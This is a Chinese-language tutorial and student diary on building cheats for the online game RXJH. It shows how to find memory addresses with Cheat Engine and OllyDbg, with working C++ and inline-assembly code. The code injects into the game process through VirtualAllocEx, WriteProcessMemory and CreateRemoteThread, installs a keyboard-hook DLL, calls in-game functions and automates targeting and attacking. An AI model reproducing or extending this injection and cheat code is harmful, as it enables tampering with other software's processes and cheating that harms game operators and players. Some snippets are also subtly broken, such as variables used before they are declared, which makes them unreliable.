LPDWORD lpThreadId // 返回一个 线程ID标识 int lptid;=(LPDWORD) &lptid;
);
HWND h=FindWindow(NULL,"Mygame");
DWORD id;LPDWORD pid=&id;
GetWindowThreadProcessId(h,Pid);
HANDLE hp=OpenProcess(PROCESS_ALL_ACCESS,false,Pid);
DWORD tid;
CreateRemoteThread(hp,NULL,0, (LPTHREAD_START_ROUTINE)(0x402360 ) ,NULL,0,&tid);
//////////////////////////////////////////////
上节课我们是用的代码注入器来调用的CALL,那么这次我们自己编写代码来调用CALL,这需要几个函数的联合运用,参数的详解在上面的教案中.
1, FindWindow
2, GetWindowThreadProcessId
3, OpenProcess
4, CreateRemoteThread
新建一个窗口
具体的调用代码如下:
void RemoteCall(int CallAddr)//整理出来的CALL调用函数
{
HWND h; //窗口变量
h=::FindWindow(NULL,"Mygame"); //查找窗口句柄需要全局标识符
DWORD id; //进程ID
LPDWORD Pid=&id; //定义临时变量方便调用
::GetWindowThreadProcessId(h,Pid); //取得指定窗口的进程ID 存放到变量id里边
HANDLE hp=OpenProcess(PROCESS_ALL_ACCESS,false,id);//获取访问进程权限 存放至hp
DWORD tid; //定义临时变量方便调用
//在进程里调用 CallAddr
CreateRemoteThread(hp,NULL,0,(LPTHREAD_START_ROUTINE)CallAddr ,NULL,0,&tid);
}
void CCALLDlg::OnRemoteAdd() //加血调用
{
RemoteCall(0x402360); //加血CALL 16进制写法
}
void CCALLDlg::OnBTNDecBlood() //减血调用
{
RemoteCall(0x40108c );//减血CALL 16进制写法
}
备注:LPTHREAD_START_ROUTINE 指向的函数是回调函数,并且必须由宿主应用程序的编写器实现。
因为我有DELPHI基础,上面的4个函数我在DELPHI当中可是经常用,所以很熟悉,我只需要了解VC中的写法即可
2.1.3、调试工具OD简介(人物角色)血值,魔力值;
a、CE找出当前血值偏移
b、OD 分析出魔力值
c、导出游戏关键代码
血值 基址 0x45657F0
+4: 魔力值
+8: 持久力
+C:血值上限
+10:魔力值上限
+14:持久力上限 1000
+1C:善恶度
+18:当前经验值
+20:升级到下一级所需经验值
+24: 灵兽 持有数量 上限2
+2C:历练值
+30:心
+34:力
+38:体
+3C:身
//////////////////////////////////////////
终于要正式搞游戏了,下载RXJH吧,首先从血值入手,用CE查找当前的血值631,打两下怪,再CE查找当前的血值564,再吃点药,又变成631了,继续用CE一搜就找到了,基址都是绿色的,当前搜索到的值不是绿色,那么这就是一个变量的值,还好我们找到了一个绿色地址045657F0
再用OD附加一下,确定此位置,显示一下内存区域
通过猜测,我们找到了相关的血值上限和蓝值等,详细在上面的教案中.但是我们需要找到一级基址,我们在血值处下一个断点,被断在0058957C处,但是没再继续找,下节课再见.
我发现RXJH的各类偏移真的很好找,至少比50好找,如果各位朋友想练习查找基址的基本功,那就拿个别的游戏再练练手.
2.1.4、游戏基址概念;
a、基址+偏移 概念
b、读写内存函数 参数简介
c、编程实现读出(血值,魔力值)
血值 基址 45657F0 :一级 全局结构变量 首地址
+4: 魔力值 //45657F4 二级基址
+8: 持久力
+C:血值上限
+10:魔力值上限
+14:持久力上限 1000
+1C:善恶度
+18:当前经验值
+20:升级到下一级所需经验值
+24: 灵兽 持有数量 上限2
+2C:历练值
+30:心
+34:力
+38:体
+3C:身
//API函数 远程读取数据的方法
////////////////////////////////////////
上一节的基址还没找完,本节课继续,先建一个小程序用来读取血值和魔值,我们通过API函数来读取
其实就是四个函数的联合运用,前面都有讲过
1, FindWindow
2, GetWindowThreadProcessId
3, OpenProcess
4, ReadProcessMemory
为了方便调用, 再新建一个头文件GameProc.h(他总愿意建这个名字的)
将游戏的标题定义好#define GameCaption "YB_OnlineClient"
在窗口中关联变量 m_role_bloodvalue m_role_MagicValue
然后编写具体代码如下:
void CReadRoleBloodDlg::OnBtnReadblood() //读取血值函数
{
// TODO: Add your control notification handler code here
HWND gameh=::FindWindow(NULL,GameCaption); //获取窗口句柄
DWORD processid; //建立ID变量
::GetWindowThreadProcessId(gameh,&processid); //获取窗口进程ID
HANDLE processH=::OpenProcess(PROCESS_ALL_ACCESS,false,processid); //打开指定进程
//读指定进程 内存数据
DWORD byread; //读取字节数变量
LPCVOID pbase=(LPCVOID)0x45657F0; //读取血值的基址
LPVOID nbuffer=(LPVOID)&m_role_bloodvalue; //存放读出数据的缓冲区
::ReadProcessMemory(processH,pbase,nbuffer,4,&byread);//读血值
pbase=(LPCVOID)(0x45657F0+4); //读取的基址
nbuffer=(LPVOID)&m_role_MagicValue; //存放读出数据的缓冲区
UpdateData(false);
}
void CReadRoleBloodDlg::OnBtnMagicValue()//读取魔值函数
{
// TODO: Add your control notification handler code here
//获取窗口句柄
HWND gameh=::FindWindow(NULL,GameCaption);
//获取窗口进程ID
DWORD processid;
::GetWindowThreadProcessId(gameh,&processid);
//打开指定进程
HANDLE processH=::OpenProcess(PROCESS_ALL_ACCESS,false,processid);
//读指定进程 内存数据
DWORD byread;
LPCVOID pbase=(LPCVOID)0x45657F0; //读取血值的基址
LPVOID nbuffer=(LPVOID)&m_role_bloodvalue; //存放读出数据的缓冲区
pbase=(LPCVOID)(0x45657F0+4); //读取的基址
nbuffer=(LPVOID)&m_role_MagicValue; //存放读出数据的缓冲区
::ReadProcessMemory(processH,pbase,nbuffer,4,&byread);
UpdateData(false);
}
试验一下血和魔已经读取正确了,那么我们如何才能够时时的读取呢,还可以用以前用过的时间函数.
2.1.5、常用汇编指令详解(VC++内联汇编)
a、Mov指令的几种形式
b、汇编指与高级语言的转换
c、push指令
eax,ebx,ecx,edx,edi,esi;//32位=4字节
esp,ebp;
eax //
ax,bx,cx,dx,di,si,sp,bp低16位
al,bl,cl,dl 低8位
void mycall(int x,int y)
{
_asm
{
//mov eax,33 // eax=a
//mov ebx,11 // ebx=b
//mov b,eax // b=eax
// mov a,ebx // a=ebx
mov edi,edi
mov edi,edi
mov eax,x
mov a,eax // a=b
mov eax,y
mov b,eax
}
}
//////////////////////////////////////////////
本节课讲解汇编基础知识,也就是VC++内联汇编,就是在VC代码中直接调用汇编代码,新建一个MFC基础对话框,用于测试汇编代码,并对几个寄存器进行了介绍,先介绍一下MOV指令,添加汇编代码在按钮事件中:
_asm
{
Mov edi,edi
Mov edi,edi
Mov a,11
Mov b,33
}
测试成功之后,再来到OD里反汇编看一下
那么我们再来看一下PUSH指令
void CASM_TESTDlg::OnBtnMov()
{
// TODO: Add your control notification handler code here
mycall(0x111a,0x222b); //stdcall
m_a=a;
m_b=b;
UpdateData(false);
}
在OD里查找到传参数这里,看到反汇编代码如下,压栈方式从右至左
本节课汇编还没有讲完,下节继续.因为我学过DELPHI班,对汇编代码懂一些,所以这节课学起来很轻松.
2.1.6、内联汇编编程实例
a、加法add
b、减法sub
c、纯汇编调用函数CALL(参数的传递)
d、堆栈平衡
汇编指令add
int myadd(int a,int b)//加法
{
// return a+b;
_asm
{
mov ebx,b
add a,ebx
}
return a;
}
int mysub(int a,int b)//减法
{
//return a+b;
_asm
{
mov ebx,b // ebx=b;
sub a,ebx // a=a-b;
}
return a;
}
_stdcall //带参数
push b
push a
call myadd
////////////////////////////////////////////////
本节课继续讲汇编,加法指令add,减法指令sub,代码已经在上面教案中例出.先演示了一下汇编的加法指令,又演示了减法指令.除此之外还需要带参数的汇编调用
_asm
{
Push b
Push a
Call myadd
}
Int myadd(int a,int b)//带参数被调用
{
_asm
{
Mov ebx,b
Add a,ebx
}
Return a;
}
但是这样调用会出错,因为堆栈不平衡了,所以还要加上代码
_asm
{
Push b
Push a
Call myadd
Add esp,8
}
因为每PUSH一次ESP的值会减4,所以两次PUSH之后,需要将ESP加8 . 还有一点需要知道的是,调用CALL之后,返回值都是EAX里. 然后又测试了一下减法带参调用
2.2.1、吃金创药CALL
a、CE工具使用技巧
b、OD断点F2
c、分析CALL的参数
d、代码注入器测试CALL
CE:查找访问此地址的代码
005d89b8:mov [edx+204],eax
005d8b27:mov ecx,[edi+204]
0057433c:mov edx,[eax+4a0]
void usegood(int a,b,c) //使用金创药
{
005d89b8:mov [edx+204],eax
}
int usegood(int 0,int 1,int b)
{
}
push 0b // 金创药分类编号
push 1
push 0
call 573720
005DA6F4 |> 8B90 08020000 MOV EDX,DWORD PTR DS:[EAX+208]
005DA6FA |. 52 PUSH EDX ; 红药ID号=b
005DA6FB |. 6A 01 PUSH 1
005DA6FD |. 6A 00 PUSH 0 ; F1-F8
005DA6FF |. E8 1C90F9FF CALL Client.00573720 ; 使用物品
////////////////////////////////////////////////
为了讲解工具的使用,今天来找一下游戏的金创药,首先是将药放在快捷F2上,用CE搜索一下当前的数量,然后吃一下药我,再搜索一下当前的数量,很容易就找到这个值了.然后在该值上下访问指针查找,发现了几个地址005d89b8/005d8b27 然后打开我们的OD,附加到游戏进程,看一下005d89b8地址,然后下个断点,在游戏中再吃一下药,断在当前地址了,我们来到当前函数的头部下个断,然后再吃一次药被断下,返回上一层,再来到这一层CALL的头部,下断马上被断了,这个不对,取消断点. 0057433c再试一试这个地址,来到这个函数的头部,再向上返回,终于找到了吃药的CALL
直接在背包里吃药没断下来,而在快捷栏上吃就断下来了
在代码注入器中测试如下
Push 0b
Push 1
Push 0
Call 00573720
//0B是药品ID
再试一下其它的药品ID,先放在快捷键上
Push 8
Push 1
Push 0
Call 00573720
这节课的分析就结束了,关于找CALL,在很多游戏中都是通用的,比如这种查找背包或者查找吃药的方法,往往是从药品数量入手.我已经在DELPHI班”毕业”了,这节课对我来讲比较简单.
2.2.2、编写自己的CALL测试代码
a、远程分配内存空间VirtualAllocEx
b、向游戏进程注入自己代码
c、CreateRomuteThread远程调用《吃金创药》
参考:2.2.1 分析
原理:
1获得自己函数的代码的真正起始地址
2在游戏进程内 分配一块内存空间 以写入我们自己的代码
3用CreateRomuteThread调用我们写入的代码.
要注入的代码
GetWindowThreadProcessId//获取PID
OpenProcess //打开进程句柄
Calladdr=VirtualAllocEx //在远程进程内分配地址
WriteProcessMemory //写入代码 和参数
CreateRemoteThread //启用远程CALL
WaitForSingleObject //等远程线程返回
GetExitCodeThread //退出对象句柄
CloseHandle(hThread); //关闭对象句柄
VirtualFreeEx //释放远程空间
代码部分:
void usegoods()
{
_asm
{
push 0x16 // 金创药分类编号
push 1
push 0
mov eax,0x573720
call eax
}
}
HWND h;//定义窗口句柄变量
h=::FindWindow(NULL,"YB_OnlineClient"); //查找窗口句柄
LPDWORD Pid=&id;//进程ID
::GetWindowThreadProcessId(h,Pid); //取得指定窗口的进程ID 存放到变量id里边
DWORD id; //创建线程ID变量
HANDLE hp=OpenProcess(PROCESS_ALL_ACCESS,false,id);//获取访问进程权限 存放至hp
//分配一块内存 以写入我们自己的代码
LPVOID callbase=VirtualAllocEx(hp,NULL,0x3000,MEM_COMMIT |MEM_RESERVE,PAGE_EXECUTE_READWRITE);//申请页面可读可写可执行
if (callbase==NULL) {AfxMessageBox("申请空间失败");}//加入出错信息
if (!::WriteProcessMemory(hp,callbase,usegoods,0x3000,NULL)) {AfxMessageBox("写入代码失败");}//写入代码,如果返回假则显示错误信息
DWORD tid;//要创建的线程ID变量
CreateRemoteThread(hp,NULL,0,(LPTHREAD_START_ROUTINE)callbase,0,0,&tid); //远程调用代码
//////////////////////////////////////////////////
这节课讲了注入代码基础知识,教案写的很详细,而且我又加上了一些注释,相信大家都能看懂,其中函数的参数可以查阅MSDN,而且前面的课程当中也大部分都讲过.在这些个函数的运用上,VC和DELPHI很相似,想起自己以前学过易语言,还用别人定义的模块,感觉真是没啥意思,还是要学专业一些的语言啊,或者当易语言的高手要自己写模块才行.
2.3.1、DLL动态链接库构建,与调用
a、建立MFC动态链接库dll
b、EXE程序中调用DLL函数
MFC DLL函数的创建
.def文件与 __declspec( dllexport )
调用申明
__declspec( dllimport ) int myfun(int a, int b);
AFX_MANAGE_STATE(AfxGetStaticModuleState());
#pragma comment(lib,”mydll.lib”)
__declspec( dllexport ) int add(int a,int b)
1、创建一个MFC DLL动态链接库
int myadd( int a,int b)
{ AFX_MANAGE_STATE(AfxGetStaticModuleState());//如果用类成员就要这句
return a+b;
}
2、MFC EXE应用程序里边调用 DLL函数
a、 #pragma comment(lib,"myadd.lib"); //包函库文件
b、__declspec( dllimport ) int myadd( int a,int b);//固定函数格式
/////////////////////////////////////////////////////////
上节课只是简单的介绍了一下写内存的方法,也就是代码注入,从本节课开始就要写DLL挂了,因为DLL在调用游戏时比较方便.新建一个MFC的DLL,选择标准的MFC,文件名myadd,在myadd.cpp里写代码:
CMyaddApp theApp;
int myadd(int a,int b)
{
return a+b;
}
然后在myadd.def中写代码
EXPORTS
; Explicit exports can Go here
Myadd
再新建一个MFC的EXE文件test_myadd,然后选 工程>设置>连接,在对象库模块中添加”myadd.lib”
增加两个编辑框,关联两个变量m_la/m_lb,然后添加代码
__declspec( dllimport ) int myadd(int a,int b);
void CTest_myaddDlg::OnButtonAdd()
{
UpdateData(true);
m_lr=myadd(m_la,m_lb);
UpdateData(false);
}
在调试DLL的时候需要设置一下主EXE的位置
再试一下乘法和减法也没问题,OK了.
DLL的建立格式就是这样,要增加什么功能就自己添加好喽.
2.3.2、API与回调函数
a、键盘勾子回调函数keyProc
b、安装函数SetupFun
c、注入DLL至游戏进程空间
HHOOK SetWindowsHookEx( //键盘钩子
int idHook, // WH_KEYBOARD
HOOKPROC lpfn, // Gameproc
HINSTANCE hMod, // DLL句柄
DWORD dwThreadId // 游戏主线程ID
);
LRESULT CALLBACK Gameproc( //回调函数
int code, // hook code
WPARAM wParam, // 按键代码
LPARAM lParam // 键盘消息信息
);
LRESULT CallNextHookEx( //调用下一个钩子,恢复正常钩子
HHOOK hhk, // handle to current hook
int nCode, // hook code passed to hook procedure
WPARAM wParam, // value passed to hook procedure
LPARAM lParam // value passed to hook procedure
);
//////////////////////////////////////////
这节课又新建了一次DLL复习一下昨天的课程,又增加了两个函数的调用
CGameDllApp theApp;
LRESULT CALLBACK Gameproc(
int code, // hook code
WPARAM wParam, //按键代码 =VK_F12 VK_HOME
LPARAM lParam // 31位为0 则是被按下
)
{ AFX_MANAGE_STATE(AfxGetStaticModuleState());//用到全局函数需要加这个宏
//比如说 按下VK_HOME 我们要做什么
if ((wParam==VK_HOME)&&((lParam&(1<<31))==0)) { AfxMessageBox("按下Home键"); }//检测是否已经被按过热键,并显示提示信息.
return CallNextHookEx(0,code,wParam,lParam);//恢复下一个钩子
}
#define GameCaption "YB_OnlineClient"
void SetHook()//安装勾子的函数
{ AFX_MANAGE_STATE(AfxGetStaticModuleState());
//获取游戏主线程ID号
HWND gameh=FindWindow(NULL,GameCaption);//查找游戏窗口
if (gameh==0) { AfxMessageBox("未找到游戏");}//出错处理
DWORD tid=::GetWindowThreadProcessId(gameh,NULL);//获取线程ID
::SetWindowsHookEx(WH_KEYBOARD,&Gameproc,::GetModuleHandle("GameDll.dll"),tid); //安装线程勾子, GetModuleHandle是获取相应句柄
}
最后别忘了在GameDll.def中将SetHook函数导出.这样动态链接库的部分基本上就构建完了,再来写一下EXE部分.还是建立一个MFC,建立一个”安装游戏函数”的按钮,编写代码如下:
__declspec( dllimport ) void SetHook();//先声明
#pragma comment(lib,"Gamedll.lib") //加入DLL连接
void CGamewgDlg::OnBUTTONSetHook() //按钮命令
{
SetHook(); //调用 SetHook
}
将EXE文件复制到DLL目录中进行测试,打开游戏,按一下键盘上的键,打开360发现已经附加上DLL文件了,再设置一下热键为HOME键,然后弹出了对话框.
2.3.3、DLL中构建窗口
a、DLL中插入窗口资源
b、在游戏内创建DLL窗口
c、DLL内CALL代码书写(以吃红药为例)
CWGForm *gameform;//定义窗口类指针
if (gameform==NULL) { gameform=new CWGForm;//分配内存大小
gameform->Create(IDD_DLG_MAIN); //创建窗口实例}
::ExitInstance()
intCGameDllApp::ExitInstance()
{
delete gameform;//释放相应内存空间
gameform=NULL;
return CWinApp::ExitInstance();//winApp基类函数
}
void usegoods()
{
_asm
{
push 0x16 // 物品背包数组下标
push 1
push 0
mov eax,0x573720
call eax
}
}
////////////////////////////////////////////////////
在DLL代码中插入一个窗口,然后添加几个复选框,在GameDll.cpp里加入头文件#include "WGForm.h",再定义一个全局变量CWGForm *gameform,再在DLL代码中添加创建窗口代码
int CGameDllApp::ExitInstance()//退出时释放DLL,否则游戏会影响
{
delete gameform;//释放相应内存空间
gameform=NULL;
return CWinApp::ExitInstance();//winApp基类函数
}
CGameDllApp theApp;
LRESULT CALLBACK Gameproc(
int code, // hook code
WPARAM wParam, //按键代码 =VK_F12 VK_HOME
LPARAM lParam // 31位为0 则是被按下
)
{ AFX_MANAGE_STATE(AfxGetStaticModuleState());
//比如说 按下VK_HOME 我们要做什么
if ((wParam==VK_HOME)&&((lParam&(1<<31))==0))
{
if (gameform==NULL) { gameform=new CWGForm;gameform->Create(IDD_DLG_MAIN);}
gameform->ShowWindow(true);//显示窗口
}
return CallNextHookEx(0,code,wParam,lParam);
}
#define GameCaption "YB_OnlineClient"
//安装勾子的函数
void SetHook()
{ AFX_MANAGE_STATE(AfxGetStaticModuleState());
//获取游戏主线程ID号
HWND gameh=FindWindow(NULL,GameCaption); //FindWindow
if (gameh==0) { AfxMessageBox("未找到游戏");}
//GetWindowThreadProcessID
DWORD tid=::GetWindowThreadProcessId(gameh,NULL);
//安装线程勾子
::SetWindowsHookEx(WH_KEYBOARD,&Gameproc,::GetModuleHandle("GameDll.dll"),tid);
}
还要在头文件里加上代码
class CGameDllApp : public CwinApp//退出时的代码
{
public:
CGameDllApp();
int ExitInstance();//表示动态链接库退出的时候
DECLARE_MESSAGE_MAP()
};
再测试一下吃红药
void CWGForm::OnBUTTONCAllTEST()
{
_asm
{
push 3 // 物品背包 数组下标 0开始(表示第一格)
push 1
push 0
mov eax,0x573720
call eax
}
}
前面课程当中第一个PUSH说的是药品ID,其实应该是背包数组下标.
随笔:通过前面的代码我们已经可以用CALL来调用游戏了,这比远程注入代码要方便多了,而且DLL也属于高级技术,我学DELPHI班之后就算写挂也只是会远程写内存,看来我也要在DLL方面深造一下了.
2.4.1、找怪物列表基址
a、选定怪ID
b、怪物数组基址
c、怪物数组大小
mov edx,43333
mov [95e800+eax*4],??? //GameBase[eax]
////////////////////
mov eax,43333
mov [eax],???
add eax,4 // DWORD long for (i=1;i<200;i++)
//选中怪对象
选中怪时 肯定存在一个值怪对象基址 怪对象ID号
换怪时 怪对象 怪对象ID号
1、未知初始化数值
2、更改的数值
3、未更改的数值
44b9f6:mov eax,[ebx+1530]//怪ID号的偏移
44bA03: mov ecx,[eax*4+0599a110]
dd [i*4+0599a110] //0599a110对象数组基址
+C: 数组下标
[5993E80]+1530 //当前选中怪ID//对象数组下标
////////////////////////////////////////////
今天要找的是怪物列表,数组的汇编代码很常见的一种就是 edx+eax*4 等等,一般我们找怪物数组是先从当前选中怪入手,因为当前选中怪后其值一定会在内存的地址中,当再换一个怪后其值会变,如果没有选中怪则为空.有的时候找到的是怪对象,有的时候是怪物ID.
先用CE查找一下当前的选中怪(未知数值),然后换另一个怪,再查找改变的数值,这样查找多次之后找出了几个地址很像,然后在CE里下内在访问,记一下访问地址44b9f6,在CE里显示一下反汇编 mov eax,[ebx+00001530] ,那么在这一句的下面 mov ecx,[eax*4+0599a110]这就是数组访问方式了,我们在OD里附加游戏,来到这个地址看一下,发现这里像是一群怪物的对象
我们随便找一个地址看一下,发现了许多怪物相关的信息,所以看起来我们找到的这群怪物对象确实像遍历当前怪物的数组.那么从上往下查找怪物对象里面的信息,通过分析发现+C这里就是数组的下标,那么我们再来找一下基址,也就是mov eax,[ebx+00001530]这句中EBX的来源,我们向上找一直到函数头部,再返回到上一层,发现EDX是[ECX]的来源,再继续向上找ECX,再继续向上找不太好找,所以我们用CE来查找.
先看一下当前EBX里的值,放到CE里搜索16进制数值,竟然发现了很多绿色的基址,但是不知道哪一个是正确的.我们来换一个怪物,看其值会不会变化,没有变化,那么我们再退出游戏重新进一次,看这些值是否会变化.发现这些地址都很像,因为前面数组是0599****开头的,所以我们就选这个05993E80比较接近,
2.4.2、分析怪对象属性
a、怪对象ID
b、怪与玩家距离
c、怪物死亡状态
d、怪物分类编号
参考2.4.1
[5993E80]+1530 //当前选中怪ID//对象数组下标
//写入怪下标
=0000FFFF 时未选中怪
=对象数组下标
[i*4+0599a110] //0599a110对象数组基址
+C: 在对象数组中下标值
[i*4+0599a110]怪物对象属性:
+8 :有可能是对象分类 怪是2E //,31,18,20,22
+C :数组下标
+31C:到当前玩家距离
+320:怪物名字
+378:怪死亡 <>0
+37C:怪死亡 <>0
+380:怪死亡 <>0
CE锁定选中怪ID
/////////////////////////
找到上节课的地址+偏移[5993E80]+1530,发现其值为0000FFFF时是未选中怪,当我们选中一个怪后就变成了00000D59,发现这个值是对象数组的下标,我们在OD里下 dd [0d59*4+0599a110],找到这个对象之后,又继续找出了相应的偏移值,各类值地址已经在教案中例出了.找怪物与人物的坐标地址,用浮点数查看,来到+31C这里,发现比较像.下面继续查找怪物的死亡状态,猜测是一个比较小的值,因为杀了怪之后就不方便分析,所以我们用CE来锁定当前选中的怪,一点一点的向下查找,发现了378/37C/380的偏移地址会随着怪物的死亡而发生改变.还是要继续分析怪物的名字,还是在这个地址下dc [0d59*4+0599a110],向下找发现+320的地址就是怪物的名字.
看老师讲的比较轻松,如果真让自己找的话,就不容易了.
2.4.3、遍历怪物列表
a、选怪关键代码
b、定位一个怪对象
c、选怪功能实现
/遍历 [i*4+0599a110] 数组
//+8 :有可能是对象分类 怪是2E
//+C :数组下标
//+31C:到当前玩家距离
//+380:怪死亡 <>0
int* b8,*bc,*b380;//定义偏移变量
float *b31c;//坐标变量,浮点型
int* pb;//定义指针对象
for (int i=0x0599a110;i<(0x0599a110+0x0FFF*4);i+=4)//每次增加4字节
{ pb=(int*)i;//遍历变量
b8=(int*)(*pb+0x8);//偏移8,怪物分类
bc=(int*)(*pb+0xc);//偏移0C,数组下标
b31c=(float*)(*pb+0x31c);//偏移31C,坐标距离
b380=(int*)(*pb+0x380);//偏移380,死亡标识
if ((*b8==0x2E )&&(*b31c<=100)&&(*b380==0))//查找符合条件的怪物
{
//选怪[[0x5993E80]+1530 ]=*bc;优化改进 显示怪血条
pb=(int*)0x5993E80;
pb=(int*)(*pb+0x1530);
*pb=*bc;
return ;
} // end if
}//end for
//////////////////////纯汇编 选怪代码
// TODO: Add your control notification handler code here
//[i*4+0599a110]怪物对象属性:
for (int i=0x0599a110;i<(0x0599a110+0x0dff*4);i+=4)
{ //遍历对象列表 有可能是对象分类
_asm
{ mov eax,i
mov eax,[eax]
mov ecx,[eax+8]
mov b8,ecx //取出+8偏移
mov ecx,[eax+0xc]
mov bc,ecx //取出+c偏移
mov ecx,[eax+0x31c]
mov b31c,ecx //取出+31c偏移
mov ecx,[eax+0x380]
mov b380,ecx //取出+380偏移
} //end asm
//+8怪是=2E //+31C<100 //+380==0
if ((b8==0x2e)&& (b31c<100)&&(b380==0))
{ //[5993E80]+1530 =+C
_asm
{ mov ecx,0x5993E80
mov ecx,[ecx]
mov eax,bc
mov [ecx+0x1530],eax //[ecx+0x1530]=bc
}//end asm
//int * selmon;
//selmon=(int*)0x5993E80;
//selmon=(int*)(*selmon+0x1530);
//*selmon=bc;
return;
} //end if
} //end for
//作业:优化选怪功能 //显示出怪物血条
/////////////////////////////////////////////////
前面找到了遍历怪物的地址,我们要编写代码将怪物例显示出来,首先是要查找偏移地址是否为2E,然后再查找偏移31C的距离是否小于100,当然还要查找偏移380是否为0,如果非0则说明怪物已死亡.然后遍历的时候再每次下向4个字节,要不断的遍历,代码已经在上面教案中.也就是VC代码的那部分.写完代码之后加载主EXE调用一下试试.注意坐标类型为浮点数,否则会出错.虽然已经可以选怪了,但是被选中的怪并没有显示出血条,下节课再弄.至于汇编的选怪代码已经在教案中例出,课后自己学习.
2.4.4、选怪功能优化
a、OD分析选怪功能对应代码
b、写测试代码让选定怪物血条正确显示
c、集成选怪函数到SelMon()
参考 2-4-2
dd [5993E80]+1530 //写入 怪在对象列表的 数组下标
dd [0d66*4+0599a110] //对象基址
//显示血条,设置怪选中状态
void SelMon() //选怪功能
{// TODO: Add your control notification handler code here
//遍历 [i*4+0599a110] 数组
//+8 :有可能是对象分类 怪是2E
//+C :数组下标
//+31C:到当前玩家距离
//+380:怪死亡 <>0
_asm
{
mov eax,eax
mov eax,eax
}
int* b8,*bc,*b380,*p1530;
float *b31c;
int* pb,*p2;
for (int i=0x0599a110;i<(0x0599a110+0x0FFF*4);i+=4)//每次增加4字节
{ pb=(int*)i;
b8=(int*)(*pb+0x8);
bc=(int*)(*pb+0xc);
b31c=(float*)(*pb+0x31c);//
b380=(int*)(*pb+0x380);
//if (([ecx+8]==0x2E )&&([ecx++0x31C]<=100)&&([ecx+380]==0))
p1530=(int*)0x5993E80;
p1530=(int*)(*p1530+0x1530);
if ((*b8==0x2E )&&(*b31c<=100)&&(*b380==0))
{
//选怪[[0x5993E80]+1530 ]=*bc;优化改进 显示怪血条
p2=pb;
//显示血条,设置怪选中状态
//selmonbase怪对象基址
int selmonbase=*p2;
if (*p1530==0xFFFF) {
_asm
{
mov edi,selmonbase
mov eax,[edi]
push 0
push 1
push 0x44c
mov ecx,edi
mov eax,[eax+4]
call eax
}
} //end if
p1530=(int*)0x5993E80;
p1530=(int*)(*p1530+0x1530);
*p1530=*bc;//写入下标
return ;
//
} // end if
}//end for
}
///////////////////////////////////////////////////////////
继续上节课进行选怪功能的优化,先用OD附加游戏进行分析,因为在未选中怪的时候dd [5993E80]+1530标识是0000FFFF,那么我们在这里下内存写入断点,来到了选怪函数,向上找发现一个CALL比较像
然后就将上面的汇编代码照着写了出来,已贴在教案中.注意在VC++内联汇编中,如果是mov edx,[XXX] 那么程序会自动将[]去掉,变成 mov edx,xxxx 所以要这样写
mov edx,xxxx
mov edx,[edx]
这样我们来选中怪后被选中的怪就会显示出血条,但是再继续选下一个怪时游戏又出错了,再改了一下代码,但是选中多次之后又出错,再继续修改了一下代码.测试好后将选怪的代码放到GameProc.h头文件里,方便以后调用.
随笔:写代码要经过多次的测试,一个小挂都是需要很长时间的各方面测试才能成熟,
2.5.1、普通攻击CALL关键代码分析
a、更新游戏选怪基址
b、分析攻击CALL关键代码
c、汇编指令与应高级语言对照翻译
[59Ec688]+1530 //当前选中怪ID//对象数组下标
//写入怪下标
=0000FFFF 时未选中怪
=对象数组下标
[i*4+59E6748] //0599a110对象数组基址 OK
+C: 在对象数组中下标值
//打怪后访问 怪ID的 代码地址
44f625/45ed58/45edbe/
//44f625//45ed58//45edbe
//打怪CALL
mov ecx,[59EC688]
CALL 0045ED40
代码注入器测试代码
//先选中怪物
mov ecx, 59Ec688
mov ecx,[ecx]
call 0045ED40
/////////////////////////////////////////////////////////////////////////////
游戏更新了,所以再次查找基址.首先还是打开CE,因为我们知道在游戏当中如果没有选中怪则是0000FFFF,选中了会变化,所以我们就按照这样的方法搜索几次就找到了,再查找一次地址访问就找到了新的基地和地址了.
当我们按下攻击按钮的时候,发现了几个新的地址,在0044F625这里向上和下看,经过几次分析,发现了一个可能CALL, 也就是call 00460430,但是经过测试之后却不是,向上看函数的头部有许多的参数,所以又返回上一层,call 0045ED40 发现这里是对的.
2.5.2、挂机打怪功能
1、更新选怪CALL地址
2、优化代码结构
3、自动选怪代码编写
4、自动打怪代码编写
5、代码测试
参考 2.5.1
[59Ec688]+1530 //当前选中怪ID//对象数组下标
//写入怪下标
=0000FFFF 时未选中怪
=对象数组下标
[i*4+59E6748] //0599a110对象数组基址 OK
curRoleBase=0x59Ec688//当前角色基址
curListBase=0x59E6748//当前对象列表基址
1、更新选怪CALL地址
写入 [59Ec688]+1530
hw [59Ec688]+1530 //hw OD硬件断点
代码注入器测试代码
//先选中怪物
mov ecx, 59Ec688
mov ecx,[ecx]
call 0045ED40
VOID CALLBACK TimerProc(
HWND hwnd, // handle of window for timer messages
UINT uMsg, // WM_TIMER message
UINT idEvent, // timer identifier
DWORD dwTime // current system time
);
///////////////////////////////////////////
再重新找一次地址,为了方便写代码,我们将角色基址和对象列表地址定义两个常量值, 用OD加载游戏,下硬件断点hw [59ec688]+1530,找到游戏中的地址后,打开前面的代码,将定义的常量替换原来的地址,在GameDll.cpp中具体代码如下:
/********************郁金香灬老师*****************
*********************QQ:150330575****************/
void SelMon(); //选怪功能
void BeatMon();//打怪功能
//#define 这样定义是直接将数值写入程序,是个命令宏,如果用int来定义可以取地址
#define CurRoleBase 0x59Ec688 //当前角色基址
#define CurListBase 0x59E6748 //当前对象列表基址
#define BeatMonCall 0x0045ED40 //普攻打怪CALL
////////////////Timer ID ////////////////
#define TimerSel_ID 116//自动打怪的时间控制定义1
#define TimerBeat_ID 118//自动打怪的时间控制定义2
void SelMon() //选怪功能
{ // TODO: Add your control notification handler code here
//遍历 [i*4+CurListBase] 数组
//+8 :有可能是对象分类 怪是2E
//+C :数组下标
//+31C:到当前玩家距离
//+380:怪死亡 <>0
_asm//放一个特征码便于查找
{
mov eax,eax
mov eax,eax
}
int* b8,*bc,*b380,*p1530;//定义偏移的变量
float *b31c;//浮点坐标
int* pb,*p2;
//遍历周围的怪
for (int i=CurListBase;i<(CurListBase+0x0FFF*4);i+=4)//每次增加4字节
{ pb=(int*)i;
b8=(int*)(*pb+0x8);
bc=(int*)(*pb+0xc);
b31c=(float*)(*pb+0x31c);
b380=(int*)(*pb+0x380);
//if (([ecx+8]==0x2E )&&([ecx++0x31C]<=100)&&([ecx+380]==0))
p1530=(int*)CurRoleBase;
p1530=(int*)(*p1530+0x1530);
if ((*b8==0x2E )&&(*b31c<=100)&&(*b380==0))
{
//选怪[[CurRoleBase]+1530 ]=*bc;优化改进 显示怪血条
p2=pb;
//显示血条,设置怪选中状态
//selmonbase怪对象基址
int selmonbase=*p2;
if (*p1530==0xFFFF) {
_asm
{
mov edi,selmonbase
mov eax,[edi]
push 0
